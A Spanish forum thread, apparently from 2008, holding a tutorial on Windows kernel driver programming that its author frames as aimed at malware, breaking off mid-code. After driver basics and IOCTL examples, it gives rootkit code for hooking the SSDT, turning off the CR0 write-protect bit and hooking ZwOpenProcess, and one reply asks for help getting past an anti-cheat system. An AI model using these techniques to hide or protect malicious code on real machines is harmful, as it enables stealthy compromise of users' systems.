Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: Hendrix en 12 Octubre 2008, 20:43 pm



Título: Introducción a la programación de drivers en Windows
Publicado por: Hendrix en 12 Octubre 2008, 20:43 pm
E pensado en escribir un artículo sobre la programación de drivers en Windwos. Este primer post lo voy a tener como índice del manual, al terminarlo lo voy a pasar a PDF. (No lo bloqueo ya que me interesa que los lectores pregunten lo que no entiendan, para poderlo resolver e ir editando lo que sera el PDF explicando lo que se pregunte).

Nota: Este artículo lo publico en este subforo y no en el de programación ya que sera orientado al malware.



Índice


1. Nociones básicas (http://foro.elhacker.net/analisis_y_diseno_de_malware/introduccion_a_la_programacion_de_drivers_en_windows-t231193.0.html;msg1101963#msg1101963)
         1.1 Herramientas necesarias
         1.2 Modo kernel y modo Usuario
         1.3 Documentación interesante

2. Introducción (http://foro.elhacker.net/analisis_y_diseno_de_malware/introduccion_a_la_programacion_de_drivers_en_windows-t231193.0.html;msg1103070#msg1103070)
         2.1 Hola mundo desde el driver
         2.2 Comunicación entre Modo kernel y modo usuario

3. El Kernel de Windows (http://foro.elhacker.net/analisis_y_diseno_de_malware/introduccion_a_la_programacion_de_drivers_en_windows-t231193.0.html;msg1103698#msg1103698)
         3.1 La SSDT o System Service Descriptor Table
         3.2 Memoria protegida y Hooks en la SSDT

4. Direct Kernel Object Manipulation (DKOM) (http://foro.elhacker.net/analisis_y_diseno_de_malware/introduccion_a_la_programacion_de_drivers_en_windows-t231193.0.html;msg1109157#msg1109157)
         4.1 Eprocess
         4.2 Ocultando procesos sin Hooks



Este artículo esta bajo la licencia Reconocimiento-No comercial-Compartir bajo la misma licencia 2.5 España License de Creative Commons
(http://i.creativecommons.org/l/by-nc-sa/2.5/es/88x31.png) (http://creativecommons.org/licenses/by-nc-sa/2.5/es/)

Un Saludo  :)



Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Dynamique en 12 Octubre 2008, 20:55 pm
¿La programacion será en modo kernel o habrá tambien C/C++?


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: byebye en 12 Octubre 2008, 20:59 pm
no tiene que ver que este o no en c para programar en modo kernel.


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Karcrack en 12 Octubre 2008, 21:25 pm
 :o Me encanta :D Hace tiempo que quiero aprender de esto ;D

Solo una cosa, que compilador de C/C++ se usara? MS Visual Studio?

Saludos :o


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Freeze. en 13 Octubre 2008, 00:22 am
Gracias hace tiempo que estoy esperando un manual asi espero que sea C/C++ con el Dev.

Ayer (causalidad) que yo te iva a enviar un privado pero me dio como pena casi que "Hey, puedes hacer un manual" :xD :xD

Saludos ;)


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: LixKeÜ en 13 Octubre 2008, 07:25 am
 Muy bueno e interesante esperando ansioso jeje ;D


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: darvo en 13 Octubre 2008, 08:15 am
joya la verdad  ::) orientalo en lo posible a pasar el sXe   ;D
::felicitado


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Hendrix en 13 Octubre 2008, 14:20 pm
1. Nociones básicas

En este documentos voy a intentar hacer una introducción a la programación de drivers en Windows. Cabe decir que los temas que se van a exponer aquí son una minúscula parte de lo que realmente se puede hacer con drivers. Antes de empezar nada, primer tenemos que saber realmente que es lo que hace un driver (en este caso, seran módulos del Kernel, aunque lo llame driver), por esto este primer artículo sobre nociones básicas.

Antes de empezar este documento, quiero dar las gracias públicamente a Mek (®®) ya que se tomó la molestia de enseñarnos a programar drivers por un proyecto que teníamos en mente.

1.1 Herramientas necesarias

Para programar drivers no se usa el compilador del Dev ni del MVC++ ni de ningun otro, vamos a usar la DDK (Driver Development Kit), aunque se pueden configurar tanto el MVC++ cono el Dev para usar el compilador del DDK, aunque yo prefiero programarlo directamente con el compilador del DDK.

Una vez tengan el DDK, tenemos que instalarlo, una vez echo esto, se van a Inicio / Todos los programas y buscan el DDK que se instaló, una vez hay tienen que ir a Build Environments, desde hay pueden seleccionar el que quieran, aunque yo recomiendo usar Win XP Free Build Environment (Pueden moverlo al escritorio ya que lo van a usar siempre para compilar, mas info sobre el Build Environment aqui (http://www.microsoft.com/whdc/devtools/tools/buildenv.mspx)). Para compilar, lo que tienen que hacer es crear una carpeta y dentro meter el codigo (main.c, por ejemplo) y un archivo SOURCES y un MAKEFILE.

El SORCES tiene que se así:

Citar
TARGETNAME=prueba
TARGETPATH=.
TARGETTYPE=DRIVER

SOURCES=main.c

Donde prueba es el nombre del driver que se generará y main.c es el archivo con el código fuente, no tienen que modificar nada más.

El MAKEFILE es siempre el mismo:

Citar
!INCLUDE $(NTMAKEENV)\makefile.def


Una vez tengamos esto, ejecutamos el Win XP Free Build Environment y se nos abrirá una consola, cambiamos el directorio actual con el comando CD, una vez situados dentro de la carpeta donde estan los 3 archivos (como mínimo), tenemos que escribir:

build -cZ

Esto se encarga de compilar y enlazar (linkear) el archivo, si ha habido errores nos lo va a marcar. Si no ha habido errores, nos va a generar el driver dentro de \i386 (se genera una carpeta dentro de la del proyecto). Una vez echo esto, el trabajo de la DDK se puede dar por concluido.

El tema de las herramientas no a terminado, ahora nos falta, como mínimo, una herramienta para cargar el driver y otra para ver los mensajes que el driver nos envía. Ya que un driver no se ejecuta con una consola como los archivos de C/C++ o con una ventana, para poder ver los mensajes que nos envía debemos tener una herramienta adicional.

DebugView (http://C:\WINDDK\2600.1106\exemon\i386): Como su nombre indica, esta herramienta sirve para ver los mensajes que se enviar a través de debug (con el comando DbgPrint). Aunque no solo esta orientada a modo kernel, también sirve para aplicaciones de modo usuario.

OSRLoader (http://www.osronline.com/article.cfm?article=157): Aunque hay otras, esta es la que uso para cargar los drivers, utiliza el método de cargar lo drivers como servicios, primero seleccionan el driver, registran el servicio y lo ejecutan, una vez terminado, lo pueden parar y para no dejar rastro en el registro pueden eliminar el servicio, aunque esto es opcional.

WinDbg (http://www.microsoft.com/whdc/devtools/debugging/default.mspx): (Opcional) Sirve para poder analizar la memoria del kernel, es una herramienta que recomiendo aprender su uso, ya que se puede sacar muchísima información (Por ejemplo, la información sobre la Eprocess se saca con esta herramienta).

IceSword: (opcional) Esta herramienta te permite ver los hooks en la SSDT entre otras cosas, aunque ya se que no es la mejor herramienta anti-rootkit, la recomiendo ya que te muestra la dirección original de la API hookeada, el Rootkit Unhooker no lo hace.

1.2 Modo kernel y modo Usuario



(http://upload.wikimedia.org/wikipedia/en/thumb/2/2f/Priv_rings.svg/300px-Priv_rings.svg.png)




Los Ring's (Anillos) de la imagen, son privilege rings (anillos de privilegios), y como ven, los que tienen mas privilegios están en el corazón (Ring0) y los que menos, al exterior (Ring3). Las aplicaciones que ejecutamos en nuestro PC, estan todas en Ring3, hay algunas que tienen una parte en Ring3 y otra en Ring0 (Anti-Virus, Firewalls). Esta mezcla entre modo usuario y modo kernel es que en modo usuario esta muy limitado en cuanto a privilegios.

El kernel de Windows incorpora dentro del modo usuario un Subsistemas de Ambiente Protegido, esto significa que controla los errores en los procesos, lo que a su vez implica, que si se produce un error en algún programa, este puede ser descargado de memoria sin provocar en el sistema operativo ningún tipo de error (dependiendo de que aplicación tenga el error, evidentemente). En modo Kernel no existe esta protección, lo que provoca que si un driver tiene un error, el sistema operativo se ve obligado a reiniciar el PC.

Los procesos que se ejecutan dentro de modo usuario, poseen memoria virtual, eso significa que la posición de memoria 0x00457ab no es la misma posición físicamente, esto lo maneja el Kernel de windows, para impedir que otros procesos escriban o modifiquen datos de otro procesos. Los drivers en cambio se ejecutan dentro de la memoria física, esto equivale a que es posible escribir en la memoria de otro drivers y en el mismo kernel, aunque alguna paginas de memoria tengan protección de escritura (que se puede eliminar).

Los programas en modo usuario, hacen función de las API's, estas, en sus rutinas llaman a las API's nativas, que son las que ejecuta el kernel. Esto implica, que si se hookea una API, se puede cambiar la información que van a recibir todos los procesos que llamen a esa API.


1.3 Documentación interesante

Esta breve introducción al modo kernel y al modo usuario es muy corta, para una mayor información, pueden buscar en internet o comprarse algunos libros que voy a menciona ahora, donde se explica perfectamente.

- Microsoft Windows Internals (4th Edition)
- Rootkits: Subverting the Windows Kernel

Para temas sobre rootkits pueden visitar la pagina : www.rootkit.com
Para charlar sobre modo kernel, pueden visitar el foro de SysInternals: http://forum.sysinternals.com



Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Dynamique en 13 Octubre 2008, 15:11 pm
Interesante ...   :)

Una duda, he intentado instalar en wVista el DDK pero no me deja, ¿solo funciona en wXP?


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Hendrix en 13 Octubre 2008, 15:16 pm
No tengo Vista, asi que no lo puedo probar...

http://www.microsoft.com/whdc/devtools/wdk/vista_dev.mspx#


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: LixKeÜ en 13 Octubre 2008, 19:24 pm
 La version de DDK para windows server 2003 mas precisamente esta http://www.microsoft.com/whdc/devtools/ddk/default.mspx (http://www.microsoft.com/whdc/devtools/ddk/default.mspx)
 Funciona para windows XP...


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Hendrix en 15 Octubre 2008, 00:25 am
2. Introducción

2.1 Hola mundo desde el driver

Una vez leído el apartado de nociones básicas, vamos a centrarnos en lo que es la programación de drivers.

Como en todo programa, tiene que haber un punto de partida, un main. El de los drivers es así:

Código
  1. NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
  2. {
  3. //Codigo
  4. }
  5.  

Como vemos, al DriverEntry se le pasan 2 parámetros, el primero es un puntero a la estructura DRIVER_OBJECT (http://msdn.microsoft.com/en-us/library/ms805988.aspx), más adelante veremos como usar esto. El segundo es un puntero a una cadena Unicode donde esta guardada la ruta del registrot con el que se cargó el driver.

Una vez realizadas las tareas en el DriverEntry, tenemos que retornar un valor, si no ha habido ningún error retornaremos STATUS_SUCCESS, de lo contrario, el código de error pertinente.

Cabe decir que retornando el valor no se descarga el driver, ya que para poderse descargar se tiene que crear una rutina, pecisamente esta rutina se crea a partir del puntero al primer parametro. Veamos como se hace:

Código
  1. void Salir(PDRIVER_OBJECT DriverObject)
  2. {
  3.    //Codigo de salida
  4. }
  5.  
  6. NTSTATUS DriverEntry( PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
  7. {
  8.    DriverObject->DriverUnload=Salir;
  9.    return STATUS_SUCCESS;
  10. }
  11.  

Como vemos aquí, creamos una rutina para que al descargar el driver se llame a la rutina, dentro podemos escribir un mensaje de "Cerrando driver..." o algo asi, o en su caso, unhookear las apis, ya que si cerramos el driver si unhookear la SSDT nos va a mostrar una bonita pantalla azul, ya que se va a llamar una zona de memoria donde no hay nada.

El comando para poder escribir datos al DebugView es el comando DbgPrint (http://msdn.microsoft.com/en-us/library/ms792790.aspx) y funciona exactamente igual que el printf de C/C++. Si nos miramos la información, vemos que esta dentro de Ntddk.h, asi que la tenemos que incluir. El programa que nos dirá hola mundo al iniciarse y Adiós al cerrarse nos quedaría así:

Código
  1. #include <ntddk.h>
  2.  
  3. void Salir(PDRIVER_OBJECT DriverObject)
  4. {
  5.    DbgPrint("Adiós");
  6. }
  7.  
  8. NTSTATUS DriverEntry( PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
  9. {
  10.    DriverObject->DriverUnload=Salir;
  11. DbgPrint("Hola mundo!!!");
  12. return STATUS_SUCCESS;
  13. }

Una vez echo esto ya podemos abrir el DebugView, le habilitamos la opción para capturar mensajes del Kernel y lo podemos ejecutar. Este ejemplo lo e probado yo mismo y pueden ejecutarlo en el PC, aunque es recomendable siempre hacer pruebas en una maquina virtual, ya que un error en el driver provocaría un reinicio de sistema.

2.2 Comunicación entre Modo kernel y modo usuario

Este tema ya es algo mas lioso. Hay varias formas de pasar información desde modo usuario a modo kernel y viceversa,  la que yo voy a utilizar es el metodo que utiliza la API DeviceIoControl (http://msdn.microsoft.com/en-us/library/aa363216(VS.85).aspx).

Esto me permite enviar un mensaje desde modo usuario (MU desde ahora en adelante) hacia modo kernel (MK). Además, me retorna un puntero hacia un buffer de salida (de MK a MU) y la longitud de este, si la longitud es igual a 0 no hay datos, de lo contrario si.

La estructura donde se fundamenta la comunicación entre MU y MK es la estructura IRP (http://msdn.microsoft.com/en-us/library/aa491631.aspx). Para poder manejarla, en el driver tendremos que crear una funcion que maneje esta estructura. Esta función se declarará igual que declaramos la función de salida en el DriverEntry. Aqui un ejemplo:

Código
  1. NTSTATUS Control(PDEVICE_OBJECT DeviceObject,PIRP Irp)
  2. {
  3. //Codigo
  4. }
  5.  
  6. NTSTATUS DriverEntry( PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
  7. {
  8.    DriverObject->DriverUnload=Salir;
  9.    for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)
  10.    DriverObject->MajorFunction[i]=Control;
  11.  
  12. return STATUS_SUCESS;
  13. }

Aquí declaramos esa estructura como control.

El for que hay en el programa es para indicarle que todas la funciones de control las redirija a esa función. Pueden ver todas las funciones aquí (http://msdn.microsoft.com/en-us/library/ms806157.aspx).

Para poder crear un handle desde MU hacia MK, necesitamos usar la API CreateFile, aunque antes tenemos que crear el objeto del driver. Para esto hacer esto se usa la API IoCreateDevice (http://msdn.microsoft.com/en-us/library/aa490468.aspx).

Si leen la información de esta API, veran que se le tiene que pasar una cadena en formato unicode, esto es importante, al igual que el paso que le sigue, el de crear un vinculo para poderse abrir desde MU. Este paso se hace con la API IoCreateSymbolicLink (http://IoCreateSymbolicLink), al que se le pasa una cadena que sera usada en MU. Aqui un ejemplo de lo hablado hasta ahora.

Código
  1. //Variables globales
  2. const WCHAR   Device[]=L"\\device\\driver5";
  3. const WCHAR sLink[]=L"\\??\\midriver5";
  4. UNICODE_STRING Dev,lnk;
  5. //Fin variables globales
  6.  
  7. NTSTATUS DriverEntry( PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
  8. {
  9. NTSTATUS s;
  10. unsigned int i;
  11.  
  12.    DriverObject->DriverUnload=Salir;
  13.    for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)
  14.    DriverObject->MajorFunction[i]=Control;
  15.  
  16.    RtlInitUnicodeString(&Dev,Device);
  17.    RtlInitUnicodeString(&lnk,sLink);
  18.    s=IoCreateDevice(DriverObject,0,&Dev,FILE_DEVICE_UNKNOWN,0,0,&DriverObject->DeviceObject);
  19.  
  20. if (NT_SUCCESS(s))
  21.    {
  22. s=IoCreateSymbolicLink(&lnk,&Dev);
  23. if(!NT_SUCCESS(s))
  24.    {
  25. IoDeleteDevice(DriverObject->DeviceObject);
  26. DbgPrint("Error Link");
  27. }else
  28. DbgPrint("Cargado");
  29. }else
  30. DbgPrint("Error IoCreate");
  31.  
  32. return  s;
  33. }
  34.  


Si no ha habido error, nos podemos centrar en la función control.

En la función de control, normalmente se analiza el tipo de mensaje que se transfiere con un IoControlCode, por ejemplo:

Hookear Datos --> 1
UnHookear --> 2

Esto se filtra mediante un switch/case. En el ejemplo usaremos un filtro para escribir que nos inventemos, yo le e llamado escribe. Para usarlo en la consola, tienen que agregar la librería winioctl.h.

Código
  1. NTSTATUS Control(PDEVICE_OBJECT DeviceObject,PIRP Irp)
  2. {
  3.    NTSTATUS            s=STATUS_SUCCESS;
  4.    PIO_STACK_LOCATION  Stack;
  5. unsigned int    escritos;
  6. char *iBuffer;
  7.    char *oBuffer;
  8.    char *Mensaje = "Hola desde el kernel!";
  9.    unsigned int Tam = sizeof("Hola desde el kernel!");
  10.  
  11.    Stack=IoGetCurrentIrpStackLocation(Irp);
  12.  
  13. switch(Stack->Parameters.DeviceIoControl.IoControlCode)
  14.    {
  15. case Escribe:
  16. DbgPrint("Funcion escribir llamada");
  17.    DbgPrint("Asociando buffers...");
  18.    iBuffer = oBuffer = Irp->AssociatedIrp.SystemBuffer;
  19.    if(oBuffer && oBuffer)
  20.    {
  21. DbgPrint("OK");
  22.       if(Stack->Parameters.DeviceIoControl.InputBufferLength !=0)
  23.   {
  24. DbgPrint("Datos desde modo usuario: %s",iBuffer);
  25.  
  26. if(Stack->Parameters.DeviceIoControl.OutputBufferLength>= Tam)
  27.            {
  28. DbgPrint("Enviando datos...");
  29.                RtlCopyMemory(oBuffer, Mensaje, Tam);
  30. Irp->IoStatus.Information = Tam;
  31.                s = STATUS_SUCCESS;
  32.            }else{
  33. DbgPrint("NO ENVIAMOS LOS DATOS");
  34. Irp->IoStatus.Information = 0;
  35.                s = STATUS_BUFFER_TOO_SMALL;
  36.            }
  37.       }
  38.    }
  39. else DbgPrint("ERROR");
  40. break;
  41. }
  42. Irp->IoStatus.Status = STATUS_SUCCESS;
  43.    IoCompleteRequest(Irp, IO_NO_INCREMENT);
  44.    return s;
  45. }

Al inicio declaramos los buffers de entrara y salida y los mensajes que vamos a enviar a MU.

Código
  1. Stack=IoGetCurrentIrpStackLocation(Irp);

Esta linea sirve para poder localizar los datos que vamos a usar posteriormente, Stack esta declarada como un puntero a IO_STACK_LOCATION (http://msdn.microsoft.com/en-us/library/aa491675.aspx).

Código
  1. iBuffer = oBuffer = Irp->AssociatedIrp.SystemBuffer;

Assignamos los buffers de E/S, si no hay error proseguimos.

Código
  1. RtlCopyMemory(oBuffer, Mensaje, Tam);
  2. Irp->IoStatus.Information = Tam;

En la primera linea copiamos los datos al buffer de salida, en la segunda, ajustamos el tamaño del buffer de salida, esto es importante, ya que si no se configura no se transmitiran datos.

Código
  1. Irp->IoStatus.Status = STATUS_SUCCESS;
  2. IoCompleteRequest(Irp, IO_NO_INCREMENT);
  3. return s;

Completamos y salimos.

Ahora vamos a ver la aplicación de consola en MU:

Código
  1. #include <stdio.h>
  2. #include <windows.h>
  3. #include <winioctl.h>
  4.  
  5. #define Escribe CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000001, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
  6.  
  7. int main()
  8. {
  9. DWORD a;
  10. HANDLE hDevice = CreateFile("\\\\.\\midriver5",GENERIC_READ | GENERIC_WRITE ,FILE_SHARE_READ | FILE_SHARE_WRITE,0,OPEN_EXISTING,FILE_FLAG_OVERLAPPED,0);
  11. char    iBuffer[30];
  12. char    oBuffer[1024];
  13.  
  14.    if (hDevice!=INVALID_HANDLE_VALUE)
  15.    {
  16. printf("Conectado");
  17. strcpy(iBuffer,"Hola desde Modo Usuario!!!");
  18. if(DeviceIoControl(hDevice,(DWORD)Escribe,iBuffer,(DWORD)sizeof(iBuffer),(LPVOID)oBuffer,(DWORD)sizeof(oBuffer),&a,NULL)==true)
  19. {
  20. printf("\n%d Bytes\n%s\n%s",a,iBuffer,oBuffer);
  21. }else
  22. printf("0x%08x",GetLastError());
  23. }
  24.  
  25. system("pause");
  26. return 0;
  27. }
  28.  

La verdad es que no hay mucho que explicar de este código.

En este ejemplo se transfieren cadenas, pero se puede transferir todo lo que nosotros queramos.

Dicho esto doy por zanjado este segundo capítulo, si alguien tiene alguna duda comentenlo.

PD: Tengo que decir que parte de estos codigo son de lympex, de un codigo que publicó, lo e modificado un poco ya que usaba mas funciona, pero los nombres de las variables y eso no lo e cambiado.

Un Saludo  :)



Título: Re: Introducción a la programación de drivers en Windows
Publicado por: ~~ en 15 Octubre 2008, 17:46 pm
Muy buen rtuto Hendrix, me va a venir de lujo, solo un par de cosas, en la primera parte en enlace del DebugView está mal, es este:
http://download.sysinternals.com/Files/DebugView.zip

El enlace a la DDK compatible con win XP, 2000 y 2003 es este que viene bien que lo pongas que lo suyo me costó encontrarlo xDD
http://www.microsoft.com/whdc/DevTools/ddk/default.mspx

Por el resto todo perfecto, estoy leyéndome ahora la segunda parte ;)
Salu2


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Hendrix en 15 Octubre 2008, 23:02 pm
3. El Kernel de Windows

Una vez se esta en modo kernel tenemos que pensar un poco diferente de como lo haríamos en MU, tenemos que hacernos la idea de que nuestro driver no es un proceso, los procesos en MU tienen un espacio propio definido, y remarco el propio, ya que en MK es algo diferente, cierto que nuestro driver se aloja en una posición de memoria definida, pero al hacer llamadas a funciones, tenemos que saber que podemos leer y escribir en toda la memoria (luego veremos que en ciertas areas, se nos esta restringido escribir, pero modificando un registro lo podemos des habilitar). Esto equivale a que si por ejemplo, queremos modificar el contenido de una de las varias tablas que residen en el kernel de windows, lo podemos hacer sin necesidad de llamar a ninguna API ni nada de eso.

En este capítulo nos centraremos en una tabla en concreto, la System Service Descriptor Table (SSDT).

3.1 La SSDT o System Service Descriptor Table

La SSDT es usada por el Kernel para almacenar las direcciones de las API's nativas. Para hacer la transacción entre MU y MK se usa el SYSENTER (en XP, ya que en en las anteriores se utilizaba la interrupción 0x2E). Esto lo que hace es recibir el ordinal de la función y llama a la dirección que se encuentra en la SSDT pasandole los parámetros que se recibieron. Aunque esto no es muy importante, esta bien conocer lo que hace el SYSENTER.

Para que puedan tocar y ver la SSDT, les voy a enseñar este ejemplo que me paso Mek para ver la SSDT con el WinDbg.

Abren el WinDbg y lo ponen como Kernel Debug > local.

Una vez dentro, escribir esto:

Citar
lkd> dd KeserviceDescriptorTable
80552fa0  80501b8c 00000000 0000011c 80502000

Esto nos da la dirección de KiServiceTable, que es un puntero hacia la SSDT, así que escribimos

Citar
lkd> dd 80501b8c
80501b8c  80599948 805e6db6 805ea5fc 805e6de8
80501b9c  805ea636 805e6e1e 805ea67a 805ea6be
80501bac  8060bdfe 8060cb50 805e21b4 ae7ac81a
80501bbc  805cade6 805cad96 8060c424 805ab5ae
80501bcc  8060ba3c 8059ddbe 805a5a00 805cc8c4
80501bdc  804ff828 8060cb42 8056bcd6 8053500e
80501bec  806050d4 ae7acdc6 805eab36 80619e56
80501bfc  805ef028 8059a036 8061a0aa ae7ae82a

Aquí tenemos la SSDT, como vemos, la mayoría de valores empiezan por 80, ese valor es un valor superior al de la base del kernel (se puede sacar la base del Kernel escribiendo dc nt). Si hay valores que están mucho mas arriba (los que empiezan por ae en mi caso) significa que esta dirección esta hookeada. En mi caso es correcto, ya que tengo el Kaspersky y este hookea algunas API's en la SSDT.

La SSDT se encuentra guardada en el disco en el archivo ntoskrnl.exe, algunos programas que se encargan de restaurar la SSDT lo hacen desde hay.

Para el hookeo de la SSDT lo que tenemos que hacer es colocar en el array anterior la dirección de una función nuestra, para que nos llamen a nosotros en lugar de a la API nativa. El código que les paso ahora es muy conocido, esta en el libro Rootkits: Subverting the Windwos Kernel que a su vez fueron sacados del codigo del Regmon de Sysinternals y es realmente útil.

Código
  1. #define SYSTEMSERVICE(_func) \
  2.  
  3.  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]
  4.  
  5. #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
  6.  
  7. #define HOOK_SYSCALL(_Function, _Hook, _Orig )       \
  8.  
  9.        _Orig = (PVOID) InterlockedExchange( (PLONG) \
  10.  
  11.        &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
  12.  
  13. #define UNHOOK_SYSCALL(_Func, _Hook, _Orig )  \
  14.  
  15.        InterlockedExchange((PLONG)           \
  16.  
  17.        &MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)

Para Hookear se utiliza la macro HOOK_SYSCALL y para eliminar el Hook el UNHOOK_SYSCALL.

El modo de uso es el siguiente:

Código:
HOOK_SYSCALL(API, NuestraFuncion, Direccióninicial);

El primer argumento es el nombre de la API, previamente declarada en el código, el segundo es la dirección hacia la función donde queremos redirecciónar la llamada, y la tercera es la dirección original de la API. (Conviene guardarla, ya que para restaurar el Hook la vamos a necesitar). Para el Unhook son los mismos argumentos pero con distinto orden:

Código:
UNHOOK_SYSCALL(API, Direccióninicial, NuestraFuncion);

Aunque si colocamos esto en nuestro dirver tal cual nos daría error, el error se corrige leyendo el siguiente sub-apartado.

3.2 Memoria protegida

La memoria en el sistema operativo esta dividida por paginas, como un libro. Algunas de estas paginas están protegidas por seguridad para que solamente sean de lectura. No todas las estructuras que se puedan modificar están protegidas de este modo, algunas no se tiene que modificar nada y manipularlas directamente. La SSDT esta alojada en una pagina con esta protección habilitada. Todo lo que tenemos que hacer para permitir escribir en esas paginas es modificar el registro CR0 que es el que se encarga de la protección de solo lectura.

El registro CR0 contiene un bit llamado write protect que es el encargado de señalar si una pagina es de solo lectura o no. Para eliminar esta propiedad tenemos que poner a cero este bit. El código en ensamblador para hacer esto es el siguiente:

Código
  1. __asm
  2.  
  3.      {
  4.  
  5.            push eax
  6.  
  7.            mov  eax, CR0
  8.  
  9.            and  eax, 0FFFEFFFFh
  10.  
  11.            mov  CR0, eax
  12.  
  13.            pop  eax
  14.  
  15.      }
  16.  

Una vez echas las modificaciones, tenemos que volver a colocar el bit WP tal y como estaba. Aquí el código en ensamblador:

Código
  1. __asm
  2.  
  3.      {
  4.  
  5.            push eax
  6.  
  7.            mov  eax, CR0
  8.  
  9.            or   eax, NOT 0FFFEFFFFh
  10.  
  11.            mov  CR0, eax
  12.  
  13.            pop  eax
  14.  
  15.      }
  16.  

Aunque este método es muy poco ortodoxo, hay un método que esta mejor documentado y es el que yo personalmente uso.

Este método utiliza una Memory Descriptor List (MDL). Básicamente lo que vamos a hacer sera modificar los flags de la MDL para habilitar la escritura. El código esta sacado del libro Rootkits para poder crear esa MDL.

Código
  1. // Declarations
  2.  
  3. #pragma pack(1)
  4.  
  5. typedef struct ServiceDescriptorEntry {
  6.  
  7.        unsigned int *ServiceTableBase;
  8.  
  9.        unsigned int *ServiceCounterTableBase;
  10.  
  11.        unsigned int NumberOfServices;
  12.  
  13.        unsigned char *ParamTableBase;
  14.  
  15. } SSDT_Entry;
  16.  
  17. #pragma pack()
  18.  
  19. __declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;
  20.  
  21.  
  22.  
  23. PMDL  g_pmdlSystemCall;
  24.  
  25. PVOID *MappedSystemCallTable;
  26.  
  27. // Code
  28.  
  29. // save old system call locations
  30.  
  31.  
  32.  
  33. // Map the memory into our domain to change the permissions on // the MDL
  34.  
  35. g_pmdlSystemCall = MmCreateMdl(NULL,
  36.  
  37.                   KeServiceDescriptorTable.ServiceTableBase,
  38.  
  39.                   KeServiceDescriptorTable.NumberOfServices*4);
  40.  
  41. if(!g_pmdlSystemCall)
  42.  
  43.   return STATUS_UNSUCCESSFUL;
  44.  
  45. MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
  46.  
  47. // Change the flags of the MDL
  48.  
  49. g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |
  50.  
  51.                             MDL_MAPPED_TO_SYSTEM_VA;
  52.  
  53.  
  54.  
  55. MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
  56.  

Una vez echo esto ya podemos utilizar las macros para hookear y unhookear las API's.

Antes de descargar el driver tenemos que unhookear las API's y eliminar la MDL para que no nos de errores. Para eliminar la MDL podemos usar este código:

Código
  1. if(g_pmdlSystemCall)
  2.   {
  3.      MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
  4.      IoFreeMdl(g_pmdlSystemCall);
  5.   }

A continuación les pasare un código para hookear la API ZwOpenProcess, a fin de poder bloquear el acceso al proceso con el PID que le especifiquemos.

Código
  1. #include "ntddk.h"
  2.  
  3. typedef struct ServiceDescriptorEntry {
  4.        unsigned int *ServiceTableBase;
  5.        unsigned int *ServiceCounterTableBase;
  6.        unsigned int NumberOfServices;
  7.        unsigned char *ParamTableBase;
  8. } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
  9. __declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
  10.  
  11. #define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
  12.  
  13. typedef DWORD (ULONG);
  14. PMDL  g_pmdlSystemCall;
  15. PVOID *MappedSystemCallTable;
  16.  
  17. #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
  18.  
  19. #define HOOK_SYSCALL(_Function, _Hook, _Orig )  \
  20.        _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
  21.  
  22. #define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \
  23.        InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
  24.  
  25. //Declaramos la API para poder trabajar con ella.
  26. NTSYSAPI NTSTATUS NTAPI ZwOpenProcess (OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL);
  27.  
  28.  
  29. typedef NTSTATUS (*TypZwOpenProc)(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL);
  30. TypZwOpenProc ZwOpenProcessIni;
  31.  
  32. NTSTATUS NewZwOpenProcess(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL)
  33. {
  34.   HANDLE PID;
  35.  
  36.   __try //Utilizamos el bloque try para evitar BSOD
  37.   {
  38. PID = ClientId->UniqueProcess;
  39. }
  40.  
  41. __except(EXCEPTION_EXECUTE_HANDLER)
  42. {
  43. return STATUS_INVALID_PARAMETER;
  44. }
  45.  
  46. DbgPrint("PID: 0x%x",PID);
  47.  
  48. //Verificamos el pid
